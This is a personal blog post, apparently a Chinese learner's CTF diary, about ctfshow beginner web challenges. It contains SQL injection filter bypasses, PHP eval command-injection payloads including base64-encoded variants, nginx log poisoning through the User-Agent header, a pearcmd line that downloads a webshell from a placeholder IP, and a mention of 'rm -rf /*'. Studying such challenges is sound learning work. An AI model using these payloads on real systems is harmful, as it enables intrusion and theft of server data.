CTFshow萌新区web题

CTFshow萌新区web题

前言

放暑假了,无聊,而且有点焦虑,要找工作或者考研了。

再次试着做做CTF题目,学习或者缓解焦虑。

靶场是ctfshow,主要是人多也有q群,不会可以去问问别人。

7.17 星期六

萌新区的密码学、杂项全部空过,不想动脑子

Web 1-8是一个系列故事,前7个都是要从article表中得到id字段=1000的那个记录,最后一个是删库跑路rm -rf /*

前七个都是GET方法的sql注入,然后增加了一些过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<html>
<head>
<title>web7</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

几个函数:

  1. isset,检测变量是否已设置并且非 NULL,也就是是否GET方法传入参数
  2. preg_match,正则表达式匹配,如果出现则id error
  3. intval,返回一个字符串中非数字前的数字,如,intval('1 or 1=1 #')返回值是1
  4. $conn,数据库连接,有一些成员函数,query($sql)执行sql语句、fetch_assoc()close()
  5. highlight_file(__FILE__),显示当前文件内容

解题思路:

  1. 我们的目的是得到id=1000的记录的content,一共有两个需要解决的的地方:

    • if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");id不能出现这些(不区分大小写)字符' " or | - \\ / * < > ^ ! ~ x hex ( ) + select
    • if(intval($id) > 999){die("id error");函数返回值不能大于999
  2. 根据这些过滤,我们的有很多可能通过的id

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    '1000'
    "1000"
    1 or 1=1 %23
    1 || 1=1 %23
    500/0.5
    2*500
    500<<1
    ~~1000
    0x3e8
    hex(1000)
    1+999
    1 union select * from article where id=1000
    0b1111101000

7.19 星期一

昨天和朋友去唱歌了,嗓子疼。

web 9是sql注入,执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

函数:

  1. eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
  2. highlight_file()函数,显示文件内容
  3. exec($command,$array)不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
  4. system($command) 输出并返回最后一行shell结果

解题:

  1. 需要包含这几个字符串,其实任何函数都可以执行。
  2. 选择highlight_file('config.php');

web 10类似,但是是不能出现那三个字符串

解题:

  1. 可以将system拆分成system,然后再拼起来
  2. payload:?c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php');

在网上搜答案搜到的一些方法,非常不错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
根据黑名单的不同,获取config.php的内容有以下几种方法:
1.命令执行函数
system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()
?c=passthru('cat config.php');

2.构造
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

3.绕过cat命令
?c=highlight_file('config.php');
?c=system('ca""t config.php');
?c=system("ca''t config.php");
?c=system('ca\t config.php');
linux有很多类似于cat的方法:tac、more、less、head、tail、nl、sed、sort、uniq

4.base64绕过
?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

5.绕过分号;
?c=system('cat config.php')?>
?c=assert(base64_decode('c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp'))?> //assert()会将字符串当做PHP代码来执行,并且字符串末尾可以没有分号

6.POST传值
?c=echo `$_POST["sung"]`; // ``是为了执行命令
//然后再通过post传参sung=cat+config.php,具体是通过BUrpsuite抓包然后修改为POST,然后加Content-Type: application/x-www-form-urlencoded或者用浏览器插件hackerbar添加POST data。

其他函数:
//打印该目录下所有文件名
?c=var_dump(glob('*')); //信息更全面
?c=print_r(glob('*'));
?c=print_r(scandir('.'));
//下面两个同第二个,只是不带参数
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(current(localeconv())));

payload:?c=assert(base64_decode(%27aGlnaGxpZ2h0X2ZpbGUoJ2NvbmZpZy5waHAnKQ==%27))?>

7.23 星期五

首先是,犯下懒惰之罪的。。。

web 17是nginx/1.16.1服务器(404页面)

include($c):通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。

日志保存在/var/log/nginx/access.log

思路:因为不让直接包含php执行代码,所以我们用include包含被保存的日志文件,日志文件会保存User-Agent,如果我们用User-agent头注入(通过burpsuite抓包),在日志文件里面注入<?php system('ls')?>,我们就可以绕过过滤php得到文件目录,任意命令都可以执行,我们看到有index.php 36.php两个,然后hightlight_file('36d.php')看到flag。

image-20210724111219258

image-20210724111153369

web18-21 都是相同的思路

7.25 星期日

其实之后的都已经很难了,我基本上都是根据别人的wp做的,希望能够得到提高。

web 22 服务器上下载文件

payload:pearcmd&+download+http://xx.xx.xx.xx/1.php一句话木马

快乐题,利用>生成文件,*通配符命令在这里相当于nl xx.php,还有nl命令

1
2
3
4
5
payload:
?1=>nl
?1=ls
?1=*>z //*执行后的内容,写入z文件
直接访问z文件,下载查看内容

web 23、24上传文件,用python脚本提交。

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021 Sung
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信